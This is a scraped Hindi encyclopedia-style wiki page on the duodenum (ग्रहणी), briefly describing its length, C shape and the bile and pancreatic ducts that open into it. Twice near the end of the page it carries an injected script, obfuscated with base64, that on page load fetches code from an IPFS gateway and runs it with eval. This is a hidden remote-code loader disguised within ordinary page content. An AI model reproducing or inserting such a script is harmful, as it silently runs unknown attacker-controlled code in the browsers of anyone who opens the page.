एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

ग्रहणी

भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) द्वारा परिवर्तित 09:39, 4 नवम्बर 2014 का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

ग्रहणी (अंग्रेज़ी:Duodenum) छोटी आन्त्र का लगभग 25 समी लम्बा अपेक्षाकृत कुछ मोटा और अकुण्डलित प्रारम्भिक भाग होता है। इस लेख में मानव शरीर से संबंधित उल्लेख है।

  • ग्रहणी आमाशय के पाइलोरस से प्रारम्भ होकर 'सी' की आकृति बनाता हुआ बाईं ओर को मुड़ा रहता है।
  • ग्रहणी की भुजाओं के बीच में मीसेन्ट्री द्वारा सधा हुआ गुलाबी सा अग्न्याशय होता है।
  • यकृत से पित्तवाहिनी तथा अग्न्याशय में अग्न्याशिक वाहिनी ग्रहणी के निचले भाग में आकर खुलती है। ये क्रमशः पित्तरस तथा अग्न्याशिक रस लाकर ग्रहणी में डालती हैं।
  • पीछे की ओर ग्रहणी मध्यान्त्र में खुलती है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>